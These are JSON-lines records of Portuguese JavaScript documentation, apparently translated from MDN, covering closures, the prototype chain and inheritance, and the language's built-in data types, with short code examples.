nos permitem associar dados (as propriedades do objeto) utilizando um ou mais métodos.\n\nConsequentemente, você pode utilizar uma closure em qualquer lugar onde você normalmente utilizaria um objeto de único método.\n\nSituações onde você poderia utilizar isto são comuns em ambientes web. Muitos códigos escritos em JavaScript para web são baseados em eventos - nós definimos algum comportamento e então, o atribuimos a um evento que será disparado pelo usuário (quando uma tecla for pressionada, por exemplo). Nosso código normalmente é utilizado como callback: uma função que será executada como resposta ao evento.\n\nAqui temos um exemplo prático: suponha que queremos adicionar alguns botões para ajustar o tamanho do texto de uma página. Um jeito de fazer seria especificar o tamanho da fonte no elemento body e então definir o tamanho dos outros elementos da página (os cabeçalhos, por exemplo) utilizando a unidade relativa em:\n\n\n```css\nbody {\n  font-family: Helvetica, Arial, sans-serif;\n  font-size: 12px;\n}\n\nh1 {\n  font-size: 1.5em;\n}\nh2 {\n  font-size: 1.2em;\n}\n```\n\n\nNossos botões interativos de tamanho de texto podem alterar a propriedade font-size do elemento body, e os ajustes serão refletidos em outros elementos graças à unidade relativa.\n\nO código JavaScript:\n\n\n```js\nfunction makeSizer(size) {\n  return function () {\n    document.body.style.fontSize = size + \"px\";\n  };\n}\n\nvar size12 = makeSizer(12);\nvar size14 = makeSizer(14);\nvar size16 = makeSizer(16);\n```\n\n\n`size12`, `size14` e `size16` agora são funções que devem redimensionar o texto do elemento body para 12, 14 e 16 pixels respectivamente. Nós podemos designá-las a botões (neste caso, links) como feito a seguir:\n\n\n```js\ndocument.getElementById(\"size-12\").onclick = size12;\ndocument.getElementById(\"size-14\").onclick = size14;\ndocument.getElementById(\"size-16\").onclick = size16;\n```\n\n\n\n```html\n<a href=\"#\" id=\"size-12\">12</a>\n<a href=\"#\" id=\"size-14\">14</a>\n<a href=\"#\" id=\"size-16\">16</a>\n```\n\n\nView on JSFiddle\n\nEmulando métodos privados com closures\n--------------------------------------\n\nLinguagens como Java oferecem a habilidade de declarar métodos privados, o que significa que eles só poderão ser chamados por outros métodos na mesma classe.\n\nO JavaScript não oferece uma maneira nativa de fazer isso, mas é possível emular métodos privados usando closures. Métodos privados não são somente úteis para restringir acesso ao código: eles também oferecem uma maneira eficaz de gerenciar seu namespace global, evitando que métodos não essenciais baguncem a interface pública do seu código.\n\nVeja como definir algumas funções públicas que acessam funções e variáveis privadas, usando closures que também é conhecido como module pattern:\n\n\n```js\nvar Counter = (function () {\n  var privateCounter = 0;\n  function changeBy(val) {\n    privateCounter += val;\n  }\n  return {\n    increment: function () {\n      changeBy(1);\n    },\n    decrement: function () {\n      changeBy(-1);\n    },\n    value: function () {\n      return privateCounter;\n    },\n  };\n})();\n\nalert(Counter.value()); /\\* Alerts 0 \\*/\nCounter.increment();\nCounter.increment();\nalert(Counter.value()); /\\* Alerts 2 \\*/\nCounter.decrement();\nalert(Counter.value()); /\\* Alerts 1 \\*/\n```\n\n\nTem muita coisa acontecendo aqui. Nos exemplos anteriores cada closure teve o seu próprio ambiente; aqui nós criamos um ambiente único que é compartilhado por três funções: `Counter.increment`, `Counter.decrement` e `Counter.value`.\n\nO ambiente compartilhado é criado no corpo de uma função anônima, da qual é executada assim que é definida. O ambiente contém dois itens privados: uma variável chamada `privateCounter` e uma função chamada `changeBy`. Nenhum desses itens privados podem ser acessados diretamente de fora da função anônima. Ao invés disso, eles devem ser acessados pelas três funções públicas que são retornadas.\n\nAquelas três funções públicas são closures que compartilham o mesmo ambiente. Graças ao escopo léxico do JavaScript, cada uma delas tem acesso a variável `privateCounter` e à função `changeBy`.\n\n**Nota:** Você perceberá que estamos definindo uma função anônima que cria um contador , e então o executamos imediatamente e atribuímos o resultado à variável `Counter`. Poderíamos armazenar essa função em uma variável separada e usá-la para criar diversos contadores.\n\n\n```js\nvar makeCounter = function () {\n  var privateCounter = 0;\n  function changeBy(val) {\n    privateCounter += val;\n  }\n  return {\n    increment: function () {\n      changeBy(1);\n    },\n    decrement: function () {\n      changeBy(-1);\n    },\n    value: function () {\n      return privateCounter;\n    },\n  };\n};\n\nvar Counter1 = makeCounter();\nvar Counter2 = makeCounter();\nalert(Counter1.value()); /\\* Alerts 0 \\*/\nCounter1.increment();\nCounter1.increment();\nalert(Counter1.value()); /\\* Alerts 2 \\*/\nCounter1.decrement();\nalert(Counter1.value()); /\\* Alerts 1 \\*/\nalert(Counter2.value()); /\\* Alerts 0 \\*/\n```\n\n\nObserve como cada um dos contadores mantém a sua independência em relação ao outro. Seu ambiente durante a execução da função `makeCounter()` é diferente a cada vez que ocorre. A variável `privateCounter` contém uma instância diferente a cada vez.\n\n**Nota:** Usar closures desta maneira oferece uma série de benefícios que estão normalmente associados a programação orientada a objetos, em particular encapsulamento e ocultação de dados.\n\nCriando closures dentro de loops: Um erro comum\n-----------------------------------------------\n\nAntes da introdução da palavra chave `let` no JavaScript 1.7, um problema comum ocorria com closures quando eram criadas dentro de um loop. Considere o exemplo:\n\n\n```html\n<p id=\"help\">Notas úteis aparecerão aqui</p>\n<p>E-mail: <input type=\"text\" id=\"email\" name=\"email\" /></p>\n<p>Nome: <input type=\"text\" id=\"name\" name=\"name\" /></p>\n<p>Idade: <input type=\"text\" id=\"age\" name=\"age\" /></p>\n```\n\n\n\n```js\nfunction showHelp(help) {\n  document.getElementById(\"help\").innerHTML = help;\n}\n\nfunction setupHelp() {\n  var helpText = [\n    { id: \"email\", help: \"Seu e-mail\" },\n    { id: \"name\", help: \"Seu nome completo\" },\n    { id: \"age\", help: \"Sua idade (você deve ter mais de 16 anos)\" },\n  ];\n\n  for (var i = 0; i < helpText.length; i++) {\n    // O culpado é o uso do `var` nesta linha\n    var item = helpText[i];\n    document.getElementById(item.id).onfocus = function () {\n      showHelp(item.help);\n    };\n  }\n}\n\nsetupHelp();\n```\n\n\nView on JSFiddle\n\nO array `helpText` define três dicas úteis, cada uma associada ao ID de um input no documento. O loop percorre essas definições, atrelando um evento `onfocus` para cada um que mostra o método de ajuda associado.\n\nSe você tentar executar esse código, Você verá que não vai funcionar como esperado. Não importa em qual campo ocorre o focus, a mensagem sobre a sua idade será mostrada.\n\nO motivo disto é que as funções atreladas ao `onfocus` são closures; elas consistem na definição da função e do ambiente capturado do escopo da função `setupHelp`. Três closures foram criados, mas todos eles compartilham o mesmo ambiente. No momento em que os callbacks do `onfocus` são executados, o loop segue seu curso e então a variável `item` (compartilhada por todos os três closures) fica apontando para a última entrada na lista `helpText`.\n\nUma solução seria neste caso usar mais closures: em particular, usar uma fábrica de funções como descrito anteriormente:\n\n\n```js\nfunction showHelp(help) {\n  document.getElementById(\"help\").textContent = help;\n}\n\nfunction makeHelpCallback(help) {\n  return function () {\n    showHelp(help);\n  };\n}\n\nfunction setupHelp() {\n  var helpText = [\n    { id: \"email\", help: \"Seu e-mail\" },\n    { id: \"name\", help: \"Seu nome completo\" },\n    { id: \"age\", help: \"Sua idade (você deve ter mais de 16 anos)\" },\n  ];\n\n  for (var i = 0; i < helpText.length; i++) {\n    var item = helpText[i];\n    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);\n  }\n}\n\nsetupHelp();\n```\n\n\nView on JSFiddle\n\nIsto funciona conforme o esperado. Ao invés dos callbacks compartilharem o mesmo ambiente, a função `makeHelpCallback` cria um novo ambiente para cada um no qual `help` se refere à string correspondente do array `helpText`.\n\nUma outra maneira de escrever o mesmo usando closures anônimas é:\n\n\n```js\nfunction showHelp(help) {\n  document.getElementById(\"help\").textContent = help;\n}\n\nfunction setupHelp() {\n  var helpText = [\n    { id: \"email\", help: \"Seu e-mail\" },\n    { id: \"name\", help: \"Seu nome completo\" },\n    { id: \"age\", help: \"Sua idade (você deve ter mais de 16 anos)\" },\n  ];\n\n  for (var i = 0; i < helpText.length; i++) {\n    (function () {\n      var item = helpText[i];\n      document.getElementById(item.id).onfocus = function () {\n        showHelp(item.help);\n      };\n    })(); // Expressão de função invocada imediatamente com o valor atual do item (preservado até a iteração).\n  }\n}\n\nsetupHelp();\n```\n\n\nSe você não quiser usar mais closures, você pode usar a palavra-chave `let` ou `const`:\n\n\n```js\nfunction showHelp(help) {\n  document.getElementById(\"help\").textContent = help;\n}\n\nfunction setupHelp() {\n  var helpText = [\n    { id: \"email\", help: \"Seu e-mail\" },\n    { id: \"name\", help: \"Seu nome completo\" },\n    { id: \"age\", help: \"Sua idade (você deve ter mais de 16 anos)\" },\n  ];\n\n  for (let i = 0; i < helpText.length; i++) {\n    const item = helpText[i];\n    document.getElementById(item.id).onfocus = () => {\n      showHelp(item.help);\n    };\n  }\n}\n\nsetupHelp();\n```\n\n\nEste exemplo usa `const` em vez de `var`, portanto cada closure vincula a variável com escopo de bloco, o que significa que nenhuma closure adicional é necessária.\n\nOutra alternativa poderia ser usar `forEach()` para iterar sobre o array `helpText` e anexar um ouvinte a cada `<input>`, conforme mostrado:\n\n\n```js\nfunction showHelp(help) {\n  document.getElementById(\"help\").textContent = help;\n}\n\nfunction setupHelp() {\n  var helpText = [\n    { id: \"email\", help: \"Seu e-mail\" },\n    { id: \"name\", help: \"Seu nome completo\" },\n    { id: \"age\", help: \"Sua idade (você deve ter mais de 16 anos)\" },\n  ];\n\n  helpText.forEach(function (text) {\n    document.getElementById(text.id).onfocus = function () {\n      showHelp(text.help);\n    };\n  });\n}\n\nsetupHelp();\n```\n\nConsiderações de performance\n----------------------------\n\nNão é sábio criar funções dentro de outras funções se a closure não for necessário para uma tarefa em particular, pois ele afetará a performance do script de forma bem negativa tanto em velocidade de processamento quanto em consumo de memória.\n\nPor exemplo, ao criar uma nova classe/objeto, os métodos devem normalmente estar associados ao protótipo do objeto do que definido no construtor. O motivo disso é que sempre que o construtor for chamado os métodos serão reatribuídos (isto é, para cada criação de objeto).\n\nConsidere o seguinte exemplo pouco prático porém demonstrativo:\n\n\n```js\nfunction MyObject(name, message) {\n  this.name = name.toString();\n  this.message = message.toString();\n  this.getName = function () {\n    return this.name;\n  };\n\n  this.getMessage = function () {\n    return this.message;\n  };\n}\n```\n\n\nO código anterior não aproveita os benefícios dos closures e portanto poderia ser reformulado assim:\n\n\n```js\nfunction MyObject(name, message) {\n  this.name = name.toString();\n  this.message = message.toString();\n}\nMyObject.prototype = {\n  getName: function () {\n    return this.name;\n  },\n  getMessage: function () {\n    return this.message;\n  },\n};\n```\n\n\nOu assim:\n\n\n```js\nfunction MyObject(name, message) {\n  this.name = name.toString();\n  this.message = message.toString();\n}\nMyObject.prototype.getName = function () {\n  return this.name;\n};\nMyObject.prototype.getMessage = function () {\n  return this.message;\n};\n```\n\n\nNos dois exemplos anteriores, o protótipo herdado pode ser compartilhado por todos os objetos, e as definições de métodos não precisam ocorrer sempre que o objeto for criado. Veja Detalhes do modelo de objeto (en-US) para mais detalhes."}
{"title":"Herança e cadeia de protótipos (prototype chain) - JavaScript","text":"Herança e cadeia de protótipos (prototype chain)\n================================================\n\nJavaScript é um pouco confuso para desenvolvedores com experiência em linguagens baseadas em classes (como Java ou C++), porque é dinâmico e não dispõe de uma implementação de uma `class` (a palavra-chave `class` foi introduzida no ES2015, mas é syntax sugar, o JavaScript permanece baseado em `prototype`).\n\nQuando se trata de herança, o JavaScript tem somente um construtor: objetos. Cada objeto tem um link interno para um outro objeto chamado `prototype`. Esse objeto `prototype` também tem um atributo `prototype`, e assim por diante até o que o valor `null` seja encontrado como sendo o seu `prototype`. `null` que, por definição, não tem `prototype`, e age como um link final nesta **cadeia de protótipos** (prototype chain).\n\nIsto muitas vezes é considerado como um dos pontos fracos do JavaScript, mas o modelo de herança prototipal é de fato mais potente do que o modelo clássico. É, por exemplo, relativamente trivial construir um \"modelo clássico\" (como na implementaçao de `class`), enquanto o contrário é uma tarefa muito mais difícil.\n\n1 *N. da T: Como em uma implementação de fila em C, por exemplo.*\n\nHerança com o encadeamento de protótipos\n----------------------------------------\n\n### Propriedades de heranças\n\nObjetos em JavaScript são \"sacos\" dinâmicos de propriedades (a que se refere as próprias propriedades) e cada um tem um link para um objeto `prototype`. Eis o que acontece quando se tenta acessar uma propriedade:\n```\n\n// Vamos criar um objeto o da função f com suas próprias propriedades a e b:\nlet f = function () {\n   this.a = 1;\n   this.b = 2;\n}\nlet o = new f(); // {a: 1, b: 2}\n\n// adicionar propriedades no protótipo da função f\nf.prototype.b = 3;\nf.prototype.c = 4;\n\n// não defina o protótipo f.prototype = {b: 3, c: 4}; isso vai quebrar a cadeia de protótipos\n// o. [[Prototype]] possui propriedades bec.\n// o. [[Prototype]]. [[Prototype]] é Object.prototype.\n// Finalmente, o. [[Prototype]]. [[Prototype]]. [[Prototype]] é nulo.\n// Este é o fim da cadeia de protótipos, como nulo,\n// por definição, não possui [[Prototype]].\n// Assim, a cadeia completa de protótipos se parece com:\n// {a: 1, b: 2} ---> {b: 3, c: 4} ---> Object.prototype ---> null dfdf\n\nconsole.log(o.a); // 1\n// Existe uma propriedade 'a' no objeto o? Sim, e seu valor é 1.\n\nconsole.log(o.b); // 2\n// Existe uma propriedade própria 'b' em o? Sim, e seu valor é 2.\n// O protótipo também tem uma propriedade 'b', mas não é visitado.\n// Isso é chamado de sombreamento de propriedade(Property Shadowing)\n\nconsole.log(o.c); // 4\n// Existe uma propriedade própria 'c' em o? Não, verifique seu protótipo.\n// Existe uma propriedade 'c' própria em o. [[Prototype]]? Sim, seu valor é 4.\n\nconsole.log(o.d); // undefined\n// Existe uma propriedade 'd' própria em o? Não, verifique seu prototype.\n// Existe uma propriedade 'd' em o. [[Prototype]]? Não, verifique seu prototype.\n// o. [[Prototype]]. [[Prototype]] é Object.prototype e não há propriedade 'd' por padrão, verifique seu prototype.\n// o. [[Prototype]]. [[Prototype]]. [[Prototype]] é nulo, pare de pesquisar,\n// nenhuma propriedade encontrada, retorne indefinido.\n```\n\n\nCode Link\n\nAtribuir uma propriedade a um objeto cria uma propriedade nele. A única exceção às regras de obtenção e definição de comportamento é quando há uma propriedade herdada com um getter or a setter.\n\n### Herança de \"métodos\"\n\nJavaScript não tem \"métodos\" como os que conhecemos em linguagens baseadas em classes. Em JavaScript, qualquer função pode ser adicionada em um objeto em forma de propriedade. Uma herança de funções age como a herança de quaisquer outras propriedades que não sejam funções, e podemos inclusive realizar sobre-escrita de função (*method overriding*)!\n\nQuando uma herança de função é executada, o valor de `this` aponta para o objeto que herdou as propriedades, não para o objeto prototype onde as propriedades foram escritas originalmente.\n\n\n```js\nvar o = {\n  a: 2,\n  m: function (b) {\n    return this.a + 1;\n  },\n};\n\nconsole.log(o.m()); // 3\n// Ao chamar 'o.m' neste caso, \"this\" refere-se a 'o'\n\nvar p = Object.create(o);\n// 'p' é um objeto que foi herdado de 'o'\n\np.a = 12; // cria uma propriedade 'a' no objeto 'p'\nconsole.log(p.m()); // 13\n// Ao chamar 'p.m', 'this' refere-se a 'p'\n// Então, quando 'p' herda a função de 'm' de 'o', 'this.a' representa 'p.a' que é a própria propriedade 'a' de 'p'\n```\n\nManeiras de criar objetos e resultados dos protótipos encadeados\n----------------------------------------------------------------\n\n### Objetos criados com sintaxe de construtores\n\n\n```js\nvar o = { a: 1 };\n\n// O recém-criado objeto 'o' tem Object.prototype como o seu [[Prototype]]\n// 'o' não tem uma propriedade chamada 'hasOwnProperty'\n// hasOwnProperty é uma propriedade própria de Object.prototype. Então 'o' herda hasOwnProperty de Object.prototype\n\n// Object.prototype tem null como seu protótipo.\n// o ---> Object.prototype ---> null\n\nvar a = [\"yo\", \"whadup\", \"?\"];\n\n// Arrays herdam de Array.prototype (que tem métodos como indexOf, forEach, etc.)\n// A cadeia de protótipos se parece com isso:\n// a ---> Array.prototype ---> Object.prototype ---> null\n\nfunction f() {\n  return 2;\n}\n\n// Funções herdam de Function.prototype (que tem métodos como call, bind, etc.)\n// f ---> Function.prototype ---> Object.prototype ---> null\n```\n\n### Com um construtor\n\nUm \"construtor\" em JavaScript é \"somente\" uma função que passa a ser chamada com o operador new.\n\n\n```js\nfunction Graph() {\n  this.vertexes = [];\n  this.edges = [];\n}\n\nGraph.prototype = {\n  addVertex: function (v) {\n    this.vertexes.push(v);\n  },\n};\n\nvar g = new Graph();\n// 'g' é um objeto com as propriedades 'vertexes' e 'edges'.\n// g.[[Prototype]] é o valor de Graph.prototype quando new Graph() é executada.\n```\n\n### Com Object.create\n\nECMAScript 5 introduziu o novo método: Object.create. Invocando este método podemos criar novos objetos. O prototype destes novos objetos é o primeiro argumento do método:\n\n\n```js\nvar a = { a: 1 };\n// a ---> Object.prototype ---> null\n\nvar b = Object.create(a);\n// b ---> a ---> Object.prototype ---> null\nconsole.log(b.a); // 1 (inherited)\n\nvar c = Object.create(b);\n// c ---> b ---> a ---> Object.prototype ---> null\n\nvar d = Object.create(null);\n// d ---> null\nconsole.log(d.hasOwnProperty); // undefined, porque não herda de Object.prototype\n```\n\n### Performance\n\nO tempo de pesquisa para as propriedades que estão no alto da cadeia de protótipos pode ter um impacto negativo no desempenho, e isso pode ser significativo no código em que o desempenho é crítico. Além disso, tentar acessar propriedades inexistentes irá sempre atravessar a cadeia cheia do protótipo (full prototype chain).\n\nPorém, quando estamos interagindo com as propriedades de um objeto, **toda** propriedade que está na cadeia do prototype (prototype chain) vai ser enumerada.\n\nPara verificar se um objeto tem uma propriedade definida em si mesmo e não em algum lugar na sua cadeia de protótipo, é necessário usar o método `hasOwnProperty` que todos os objetos herdam do Object.prototype.\n\n`hasOwnProperty` é a única alternativa em JavaScript que lida com propriedades sem atravessar a cadeia de protótipos.\n\n**Nota:** Observação: **Não** é suficiente apenas verificar se o valor da propriedade é `undefined` para saber se ela existe. A propriedade pode muito bem existir e não ter sido inicializada, sendo assim o seu valor undefined.\n\n### Má Pratica: Estender protótipos nativos\n\nUm erro frequentemente cometido por programadores é estender um Object.prototype.\n\nEsta técnica é chamada de \"monkey patching\" e quebra o encapsulamento. Não existe uma boa razão para desorganizar tipos nativos do JavaScript para adicionar uma nova funcionalidade ao mesmo.\n\nO único bom motivo para estender um protótipo nativo do JavaScript é para dar suporte a novas \"features\" do JavaScript; por exemplo: Array.forEach, etc.\n\n### Conclusão\n\nÉ essencial entender bem \"prototypal inheritance\" antes de escrever códigos complexos. Tome cuidado com o tamanho da sua cadeia de protótipos, quebre a cadeia caso necessário para evitar problemas de performance. Nunca estenda protótipos nativos a menos que seja para conseguir compatibilidade com novas \"features\" do JavaScript."}
{"title":"Estrutura de dados do Javascript - JavaScript","text":"Estrutura de dados do Javascript\n================================\n\nTodas as linguagens de programação têm estruturas de dados embutidas, mas geralmente diferem de uma linguagem para outra. Este artigo tenta listar as estruturas de dados internas disponíveis em JavaScript e quais propriedades elas possuem. Estes podem ser usados para construir outras estruturas de dados. Sempre que possível, são feitas comparações com outras línguas.\n\nTipagem dinâmica e fraca\n------------------------\n\nJavaScript é uma linguagem dinâmica com tipos dinâmicos. As variáveis em JavaScript não estão diretamente associadas a nenhum tipo de valor específico, e qualquer variável pode receber (e reatribuir) valores de todos os tipos:\n\n\n```js\nlet foo = 42; // foo agora é um número\nfoo = \"bar\"; // foo agora é uma string\nfoo = true; // foo agora é um booleano\n```\n\n\nJavaScript também é uma linguagem de tipagem fraca, o que significa que permite a conversão implícita de tipo quando uma operação envolve tipos incompatíveis, em vez de gerar erros de tipo.\n\n\n```js\nconst foo = 42; //foo é um número\nconst result = foo + \"1\"; // JavaScript coage foo para uma string, então ela pode ser concatenada com o outro operando\nconsole.log(resultado); // 421\n```\n\n\nCoerções implícitas são muito convenientes, mas podem ser uma arma em potencial se os desenvolvedores não pretendem fazer a conversão ou pretendem converter na outra direção (por exemplo, string para número em vez de número para string). Para symbols e BigInts, o JavaScript desativou intencionalmente certas conversões de tipo implícito.\n\nTipos em JavaScript\n-------------------\n\nO conjunto de tipos na linguagem JavaScript consiste em *primitive values* e *objects*.\n\n* Valores primitivos (dados imutáveis representados diretamente no nível mais baixo do idioma)\n    + tipo Boolean\n    + Tipo Null\n    + Tipo Undefined\n    + Tipo Number\n    + tipo BigInt\n    + tipo String\n    + Tipo Symbol\n* Objetos (coleções de propriedades)\nValores primitivos\n------------------\n\nTodos os tipos, exceto objetos, definem valores imutáveis (ou seja, valores que não podem ser alterados). Por exemplo, Strings são imutáveis. Referimo-nos a valores desses tipos como \"*valores primitivos*\".\n\n### Tipo Boolean\n\nBoolean representa uma entidade lógica e pode ter dois valores: `true` e `false`. Consulte Boolean e `Boolean` para obter mais detalhes.\n\n### Tipo Null\n\nO tipo Null tem exatamente um valor: `null`. Consulte `null` e Null para obter mais detalhes.\n\n### Tipo Undefined\n\nUma variável que não recebeu um valor tem o valor `undefined`. Consulte `undefined` e Undefined para mais detalhes.\n\n### Tipos numéricos\n\nECMAScript tem dois tipos numéricos integrados: Number e BigInt — junto com o valor relacionado NaN.\n\n#### Tipo Number\n\nO tipo Number é um valor IEEE 754 de formato binário de 64 bits de precisão dupla. É capaz de armazenar números de ponto flutuante positivos entre 2^-1074 (`Number.MIN_VALUE`) e 2^1024 (`Number.MAX_VALUE`), bem como números de ponto flutuante negativos entre -(2^-1074) e -(2^1024), mas só pode armazenar com segurança inteiros no intervalo -(2^53 − 1) (`Number.MIN_SAFE_INTEGER`) para 2^53 − 1 (`Number.MAX_SAFE_INTEGER`).\n\n**Nota:** Você pode verificar se um número está dentro do intervalo de inteiros seguros usando `Number.isSafeInteger()`. Fora do intervalo de `Number.MIN_SAFE_INTEGER` a `Number.MAX_SAFE_INTEGER`, o JavaScript não pode mais representar inteiros com segurança; eles serão representados por uma aproximação de ponto flutuante de precisão dupla.\n\nValores fora do intervalo ±(2^-1074 a 2^1024) são convertidos automaticamente:\n\n* Valores positivos maiores que `Number.MAX_VALUE` são convertidos em `+Infinity`.\n* Valores positivos menores que `Number.MIN_VALUE` são convertidos em `+0`.\n* Valores negativos menores que -`Number.MAX_VALUE` são convertidos para `-Infinity`.\n* Valores negativos maiores que -`Number.MIN_VALUE` são convertidos para `-0`.\n\n`+Infinity` e `-Infinity` se comportam de forma semelhante ao infinito matemático, mas com algumas pequenas diferenças; veja `Number.POSITIVE_INFINITY` e `Number.NEGATIVE_INFINITY` para detalhes.\n\nO tipo Number tem apenas um inteiro com múltiplas representações: `0` é representado como `-0` e `+0` (onde `0` é um alias para `+0`). Na prática, quase não há diferença entre as diferentes representações; por exemplo, `+0 === -0` é `true`. No entanto, você pode perceber isso quando divide por zero:\n\n\n```js\nconsole.log(42 / +0); // Infinity\nconsole.log(42 / -0); // -Infinity\n```\n\n\nEmbora um número geralmente represente apenas seu valor, o JavaScript fornece operadores bitwise.\n\n**Nota:** embora os operadores bit a bit *podem* ser usados para representar vários valores booleanos em um único número usando mascaramento de bits, isso geralmente é considerada uma má prática. JavaScript oferece outros meios para representar um conjunto de booleanos (como uma matriz de booleanos ou um objeto com valores booleanos atribuídos a propriedades nomeadas). O mascaramento de bits também tende a tornar o código mais difícil de ler, entender e manter.\n\nPode ser necessário usar essas técnicas em ambientes muito restritos, como ao tentar lidar com as limitações do armazenamento local ou em casos extremos (como quando cada bit na rede conta). Esta técnica só deve ser considerada quando for a última medida que pode ser tomada para otimizar o tamanho.\n\n#### Tipo BigInt\n\nO tipo BigInt é uma primitiva numérica em JavaScript que pode representar inteiros com precisão arbitrária. Com BigInts, você pode armazenar e operar com segurança em grandes números inteiros, mesmo além do limite de números inteiros seguros.\n\nUm BigInt é criado anexando `n` ao final de um inteiro ou chamando o construtor.\n\nVocê pode obter o maior valor seguro que pode ser incrementado com Numbers usando a constante `Number.MAX_SAFE_INTEGER`. Com a introdução do BigInts, você pode operar com números além do `Number.MAX_SAFE_INTEGER`.\n\nEste exemplo demonstra, onde incrementar o `Number.MAX_SAFE_INTEGER` retorna o resultado esperado:\n\n\n```js\n// BigInt\nconst x = BigInt(Number.MAX\\_SAFE\\_INTEGER); // 9007199254740991n\nx + 1n === x + 2n; // false porque 9007199254740992n e 9007199254740993n são desiguais\n\n// Number\nNumber.MAX\\_SAFE\\_INTEGER + 1 === Number.MAX\\_SAFE\\_INTEGER + 2; // true porque ambos são 9007199254740992\n```\n\n\nVocê pode usar os operadores `+`, `*`, `-`, `**` e `%` com BigInts — assim como com Numbers. Um BigInt não é estritamente igual a um Number, mas é vagamente assim.\n\nUm BigInt se comporta como um Number nos casos em que é convertido em booleano: `if`, `||`, `&&`, `Boolean`, `!`.\n\n`BigInt`s não podem ser operados de forma intercambiável com Numbers. Em vez disso, um `TypeError` será lançado.\n\n#### NaN\n\n`NaN` (\"**N**ot a **N**umber\") é normalmente encontrado quando o resultado de uma operação aritmética não pode ser expresso como um número. É também o único valor em JavaScript que não é igual a si mesmo.\n\n### Tipo String\n\nO tipo String do JavaScript é usado para representar dados textuais. É um conjunto de \"elementos\" de valores inteiros sem sinal de 16 bits. Cada elemento na String ocupa uma posição na String. O primeiro elemento está no índice `0`, o próximo no índice `1` e assim por diante. O comprimento de uma String é o número de elementos nela.\n\nAs strings JavaScript são imutáveis. Isso significa que uma vez que uma string é criada, não é possível modificá-la.\n\nNo entanto, ainda é possível criar outra string com base em uma operação na string original. Por exemplo:\n\n* Uma substring do original escolhendo letras individuais ou usando `substring()`.\n* Uma concatenação de duas strings usando o operador de concatenação (`+`) ou `concat()`.\n\n#### Cuidado com a tipagem do seu código!\n\nPode ser tentador usar strings para representar dados complexos. Fazer isso traz benefícios a curto prazo:\n\n* É fácil construir strings complexas com concatenação.\n* Strings são fáceis de depurar (o que você vê impresso é sempre o que está na string).\n* Strings são o denominador comum de muitas APIs (campos de entrada, valores de armazenamento local , `XMLHttpRequest` respostas ao usar `responseText`, etc.) e pode ser tentador trabalhar apenas com strings.\n\nCom convenções, é possível representar qualquer estrutura de dados em uma string. Isso não faz com que seja uma boa ideia. Por exemplo, com um separador, pode-se emular uma lista (enquanto um array JavaScript seria mais adequado). Infelizmente, quando o separador é usado em um dos elementos da \"lista\", a lista é quebrada. Um caractere de escape pode ser escolhido, etc. Tudo isso requer convenções e cria uma carga de manutenção desnecessária.\n\nUse strings para dados textuais. Ao representar dados complexos, *parse* strings e use a abstração apropriada.\n\n### Tipo Symbol\n\nUm Symbol é um valor primitivo **único** e **imutável** e pode ser usado como a chave de uma propriedade Object (veja abaixo). Em algumas linguagens de programação, os símbolos são chamados de \"átomos\".\n\nPara mais detalhes veja a página de referência `Symbol`.\n\nObjetos\n-------\n\nNa ciência da computação, um objeto é um valor na memória que possivelmente é referenciado por um identificador.\n\n### Propriedades\n\nEm JavaScript, os objetos podem ser vistos como uma coleção de propriedades. Com a sintaxe literal de objeto, um conjunto limitado de propriedades é inicializado; então as propriedades podem ser adicionadas e removidas. Os valores de propriedade podem ser valores de qualquer tipo, incluindo outros objetos, o que permite construir estruturas de dados complexas. As propriedades são identificadas usando valores *key*. Um valor *key* é um String value ou um Symbol value.\n\nExistem dois tipos de propriedades de objeto: A *data* property e a *accessor* property. Cada propriedade tem *attributes* correspondentes. Cada atributo é acessado internamente pelo mecanismo JavaScript, mas você pode defini-los por meio de `Object.defineProperty()` ou lê-los por meio de `Object.getOwnPropertyDescriptor()`. Você pode ler mais sobre as várias nuances na página `Object.defineProperty()`.\n\n#### Propriedade de dados\n\nAs propriedades de dados associam uma chave a um valor. Pode ser descrito pelos seguintes atributos:\n\n`value`\n\nO valor recuperado por um acesso get da propriedade. Pode ser qualquer valor JavaScript.\n\n`gravável`\n\nUm valor booleano que indica se a propriedade pode ser alterada com uma atribuição.\n\n`enumerável`\n\nUm valor booleano que indica se a propriedade pode ser enumerada por um loop `for...in`. Consulte também Enumerabilidade e propriedade de propriedades para saber como a enumerabilidade interage com outras funções e sintaxes.\n\n`configurável`\n\nUm valor booleano que indica se a propriedade pode ser excluída, pode ser alterada para uma propriedade acessora e pode ter seus atributos alterados.\n\n#### Propriedade do acessor\n\nAssocia uma chave com uma das duas funções de acesso (`get` e `set`) para recuperar ou armazenar um valor.\n\n**Nota:** É importante reconhecer que é o acessor *property* — não o acessor *method*. Podemos fornecer acessores semelhantes a classes a um objeto JavaScript usando uma função como valor — mas isso não torna o objeto uma classe.\n\nUma propriedade do acessor tem os seguintes atributos:\n\n`get`\n\nUma função chamada com uma lista de argumentos vazia para recuperar o valor da propriedade sempre que um acesso de obtenção ao valor for executado. Consulte também getters. Pode ser `indefinido`.\n\n`definir`\n\nUma função chamada com um argumento que contém o valor atribuído. Executado sempre que se tenta alterar uma propriedade especificada. Consulte também setters. Pode ser `indefinido`.\n\n`enumerável`\n\nUm valor booleano que indica se a propriedade pode ser enumerada por um loop `for...in`. Consulte também Enumerabilidade e propriedade de propriedades para saber como a enumerabilidade interage com outras funções e sintaxes.\n\n`configurável`\n\nUm valor booleano que indica se a propriedade pode ser excluída, pode ser alterada para uma propriedade de dados e pode ter seus atributos alterados.\n\n### Objetos e funções \"normais\"\n\nUm objeto JavaScript é um mapeamento entre *keys* e *values*. Chaves são strings (ou símbolos), e *values* pode ser qualquer coisa. Isso torna os objetos um ajuste natural para hashmaps.\n\nFunções são objetos regulares com a capacidade adicional de serem *callable*.\n\n### Datas\n\nAo representar datas, a melhor opção é usar o utilitário `Date` integrado em JavaScript.\n\n### Coleções indexadas: Arrays e Arrays tipados\n\nArrays são objetos regulares para os quais existe uma relação específica entre propriedades de chave inteira e a propriedade `length`.\n\nAlém disso, arrays herdam de `Array.prototype`, que fornece a eles um punhado de métodos convenientes para manipular arrays. Por exemplo, `indexOf()` (pesquisando um valor no array) ou [`push()`](/en- US/docs/Web/JavaScript/Reference/Global\\_Objects/Array/push) (adicionando um elemento à matriz) e assim por diante. Isso torna os Arrays um candidato perfeito para representar listas ou conjuntos.\n\nTyped Arrays apresentam uma visão semelhante a um array de um buffer de dados binários subjacente e oferecem muitos métodos que têm semântica semelhante aos equivalentes de array. \"Typed array\" é um termo abrangente para uma variedade de estruturas de dados, incluindo `Int8Array`, `Float32Array`, etc. Verifique a página typed array para obter mais informações 